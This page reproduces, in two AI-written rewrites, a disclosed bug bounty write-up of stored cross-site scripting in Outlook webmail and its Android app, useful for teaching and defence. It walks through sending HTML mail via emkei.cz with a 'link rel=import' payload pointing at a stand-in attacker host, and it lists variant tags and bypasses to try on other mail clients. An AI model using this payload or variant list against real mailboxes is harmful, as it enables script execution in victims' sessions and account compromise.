Skip to content
XSS Write-up Beginner

XSS Stored on Outlook web

Outlook's webmail did not properly filter HTML in incoming messages, allowing a link tag that imports an external file containing JavaScript to execute in the victim's browser. The same issue was later found in the Android Outlook app, where all HTML tags were rendered without filtering.

ElMahdi Mrhassel Follow

Published on medium.com

Bounty$2,400 View original

Try Knowable

ElMahdi Mrhassel, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 4 min read.

Context

This is a short account of two related stored cross-site scripting findings in Outlook, reported through the Microsoft bug bounty programme. The first was in the Outlook webmail service, where messages can be sent with Content-Type: text/html. Services such as Gmail, Outlook and Yahoo accept HTML mail but are expected to filter the markup, allowing only a limited set of tags such as a, h1 and img. The second finding was in the Outlook Android application, package name com.microsoft.office.outlook, after the first issue had been fixed.

The researcher describes this as their first write-up and their first bug in Outlook.

Setup

  • A Hotmail test mailbox, used as the victim account.
  • The third-party service https://emkei.cz/, chosen because it lets the sender set the message Content-Type to text/html.
  • The Outlook Android application, com.microsoft.office.outlook, for the second bug.

No versions, build numbers or account roles are given.

Finding it

The researcher was testing how well Outlook filtered HTML message bodies. The expectation was that only a small set of tags would survive filtering. Instead, the link tag was not filtered. That matters because a link element with rel=import fetches an external HTML document, and HTML imports can carry script that runs in the context of the page doing the import. In the researcher's words, the missing filter allowed an attacker to fetch an external file containing JavaScript or HTML and execute it in the victim's browser.

Exploitation

Step 1: open the sending service

Go to https://emkei.cz/, which the researcher uses because it allows sending messages with Content-Type: text/html.

Step 2: fill in the sender fields

Add anything in the From E-Name, From E-mail and Subject inputs. The values are not important to the attack.

Step 3: set the recipient

Put the Hotmail test address in the To input.

Step 4: choose the content type

Click text/html in the Content-Type selector.

Step 5: send the payload

Put the following in the Text input and submit:

HTML
<link rel=import href=https://Evilcom/filepayload>

The link element with rel=import asks the rendering engine to import the document at the given URL. Because the tag is not stripped, the import is performed when the message is rendered, and whatever the remote document contains is brought into the message's context. The host Evilcom and the path filepayload stand in for an attacker-controlled document.

Step 6: sign in to the test mailbox

Sign in to the Hotmail test account.

Step 7: open the message

Click on the message, and the payload executes. The report presents this as the proof of concept; no response bodies, headers or screenshots of the execution are included.

Bug 2: the Android application

After the first bug was fixed, the researcher installed the Outlook Android app, com.microsoft.office.outlook, and sent a message containing a simple XSS payload using the same method as before. The unexpected result was that the message was not filtered at all: all HTML tags were printed without filtering. The report does not give the payload used for this second test, nor any screenshot or log of the result.

Root cause

On the web side, the HTML sanitiser applied to incoming message bodies did not cover the link element. The allow-list approach described in the report (a, h1, img and similar) was evidently incomplete, and link with rel=import slipped through. HTML imports then let a remote document, and any script it carries, load into the page that renders the message. The report does not describe how the sanitiser was implemented.

On the Android side, the report says the message was not filtered at all and every HTML tag was printed. The report says only that the app did not filter the message at all.

Impact

An attacker who can send mail to a victim's Outlook address can deliver a message that, when opened, causes the client to fetch an attacker-controlled document and execute its script in the victim's browser. The same delivery method worked against the Android app, where the report says no filtering took place at all.

Fix

The report states only that the first bug was fixed before the second was tested.

Variants to test

  1. Other tags that load remote resources but are easy to forget in an allow-list: link with rel=stylesheet or rel=preload, base, meta http-equiv=refresh, object, embed, iframe, svg with nested use or image. A positive result is the client fetching a URL you control when the message is opened.
  2. The same rel=import payload against other webmail and mail clients that accept text/html. A positive result is the import request appearing in your server log.
  3. Mobile clients for the same mailbox, since the report found the Android app applied no filtering at all. A positive result is markup being rendered rather than shown as text.
  4. Attribute-level bypasses on tags that are allowed, such as event handlers or href values with unusual schemes, to see whether filtering is done on tag names only. A positive result is script running from an allowed tag.
  5. Sending the same payload through different submission paths (SMTP directly, the provider's own web composer, third-party senders) to see whether filtering differs by entry point. A positive result is one path delivering unfiltered markup that another path strips.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

What happened, in plain words

Email can carry more than plain text. A message can be formatted with HTML, the same language used to build web pages. That is how newsletters show bold headings, images and links. Because HTML can also carry code that runs in a browser, mail services are supposed to clean incoming HTML before showing it to you. They keep a small set of harmless tags and remove the rest.

This report describes two related bugs in Outlook, both reported through Microsoft's bug bounty programme. A bug bounty programme is a scheme where a company pays people who find and report security problems in its products. The first bug was in Outlook on the web: the cleaning step missed one particular HTML tag, and that tag could make the browser fetch a file from a server controlled by the attacker and run its contents. The second bug was in the Outlook app for Android, package name com.microsoft.office.outlook, tested after the first one had been fixed. There, the report says, the message was not cleaned at all.

The researcher says this is their first write-up and their first bug in Outlook.

The pieces involved

  • A Hotmail test mailbox, used as the victim account. The victim is simply the person who receives and opens the malicious message.
  • The third-party service https://emkei.cz/, chosen because it lets the sender set the message Content-Type to text/html. Content-Type is a label attached to a message or file that tells the receiving software what kind of content it is. text/html means "treat this as a web page", so the mail client will render the markup instead of showing it as plain text.
  • The Outlook Android application, com.microsoft.office.outlook, for the second bug.

The report gives no versions, build numbers or account roles.

Finding it

The researcher was testing how well Outlook filtered HTML message bodies. The expectation was that only a small set of tags would survive filtering, things like a (a link), h1 (a heading) and img (an image). Instead, the link tag was not filtered.

That matters because a link element with rel=import tells the browser to fetch an external HTML document and bring it into the current page. This feature is called an HTML import. If the imported document contains script, that script runs in the context of the page doing the import, which here means the page showing the email. In the researcher's words, the missing filter allowed an attacker to fetch an external file containing JavaScript or HTML and execute it in the victim's browser.

This kind of bug is called stored cross-site scripting, or stored XSS. "Stored" means the malicious content is saved somewhere, in this case inside an email message, and served to whoever opens it later. "Cross-site scripting" means an attacker gets their own code to run inside a page that belongs to someone else's site, so the browser treats that code as part of the trusted site.

Exploitation

Step 1: open the sending service

Go to https://emkei.cz/. The researcher uses this site because it allows sending messages with Content-Type: text/html, which a normal mail composer usually does not let you choose.

Step 2: fill in the sender fields

Add anything in the From E-Name, From E-mail and Subject inputs. These values do not matter for the attack; they are just there because the form expects them.

Step 3: set the recipient

Put the Hotmail test address in the To input. This is the victim mailbox that will receive the message.

Step 4: choose the content type

Click text/html in the Content-Type selector. This is the key setting: it tells the receiving mail service to treat the body as HTML rather than plain text.

Step 5: send the payload

Put the following in the Text input and submit:

HTML
<link rel=import href=https://Evilcom/filepayload>

Line by line:

  • <link ...> is an HTML tag normally used to attach an external resource to a page, such as a stylesheet. It does not display anything by itself; it tells the browser to go and fetch something.
  • rel=import is the attribute that says what kind of relationship the resource has to the page. import means "load this document and make it part of this page".
  • href=https://Evilcom/filepayload is the address of the document to fetch. Evilcom and filepayload stand in for a server and file controlled by the attacker.

Because the tag is not stripped out by Outlook's filter, the import is performed when the message is rendered, and whatever the remote document contains is brought into the message's context. If that document contains script, the script runs.

Step 6: sign in to the test mailbox

Sign in to the Hotmail test account, the one that received the message.

Step 7: open the message

Click on the message, and the payload executes. The report presents this as the proof of concept. A proof of concept is a small demonstration that shows a bug is real and can be triggered. No response bodies, headers or screenshots of the execution are included.

Bug 2: the Android application

After the first bug was fixed, the researcher installed the Outlook Android app, com.microsoft.office.outlook, and sent a message containing a simple XSS payload using the same method as before. The unexpected result was that the message was not filtered at all: all HTML tags were printed without filtering. The report does not give the payload used for this second test, nor any screenshot or log of the result.

Root cause

On the web side, the HTML sanitiser applied to incoming message bodies did not cover the link element. A sanitiser is the piece of software that inspects incoming HTML and removes anything dangerous. The allow-list approach described in the report, meaning a list of tags that are permitted (a, h1, img and similar), was evidently incomplete, and link with rel=import slipped through. HTML imports then let a remote document, and any script it carries, load into the page that renders the message. The report does not describe how the sanitiser was implemented.

On the Android side, the report says the message was not filtered at all and every HTML tag was printed. The report says only that the app did not filter the message at all.

Impact

An attacker who can send mail to a victim's Outlook address can deliver a message that, when opened, causes the client to fetch an attacker-controlled document and execute its script in the victim's browser. The same delivery method worked against the Android app, where the report says no filtering took place at all.

Fix

The report states only that the first bug was fixed before the second was tested.

Variants to test

  1. Other tags that load remote resources but are easy to forget in an allow-list: link with rel=stylesheet or rel=preload, base, meta http-equiv=refresh, object, embed, iframe, svg with nested use or image. A positive result is the client fetching a URL you control when the message is opened.
  2. The same rel=import payload against other webmail and mail clients that accept text/html. A positive result is the import request appearing in your server log.
  3. Mobile clients for the same mailbox, since the report found the Android app applied no filtering at all. A positive result is markup being rendered rather than shown as text.
  4. Attribute-level bypasses on tags that are allowed, such as event handlers or href values with unusual schemes, to see whether filtering is done on tag names only. A positive result is script running from an allowed tag.
  5. Sending the same payload through different submission paths (SMTP directly, the provider's own web composer, third-party senders) to see whether filtering differs by entry point. A positive result is one path delivering unfiltered markup that another path strips.

Glossary

  • Bug bounty programme: a scheme where a company pays researchers who find and report security problems in its products.
  • Content-Type: a label on a message or file that tells the receiving software what kind of content it is, such as text/html for a web page.
  • HTML: the language used to structure web pages and formatted email, made of tags such as a, h1 and img.
  • Tag: a piece of HTML markup, written between angle brackets, that tells the browser what to display or fetch.
  • Attribute: a setting inside a tag, such as rel or href, that changes what the tag does.
  • Sanitiser: software that inspects incoming HTML and removes anything dangerous before it is shown.
  • Allow-list: a list of things that are permitted, with everything else rejected by default.
  • Stored XSS: cross-site scripting where the malicious content is saved, for example in an email, and served to whoever opens it later.
  • Cross-site scripting (XSS): a bug where an attacker gets their own code to run inside a page belonging to someone else's site, so the browser treats it as part of the trusted site.
  • HTML import: a feature where a link element with rel=import fetches an external HTML document and brings it into the current page.
  • Proof of concept: a small demonstration that shows a bug is real and can be triggered.
  • Victim: the person who receives and opens the malicious message.
  • SMTP: the standard protocol for sending email between servers.
  • Package name: the unique identifier of a mobile app, here com.microsoft.office.outlook.

More by ElMahdi Mrhassel

View all

4 more disclosed reports, best first.

More from Microsoft

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.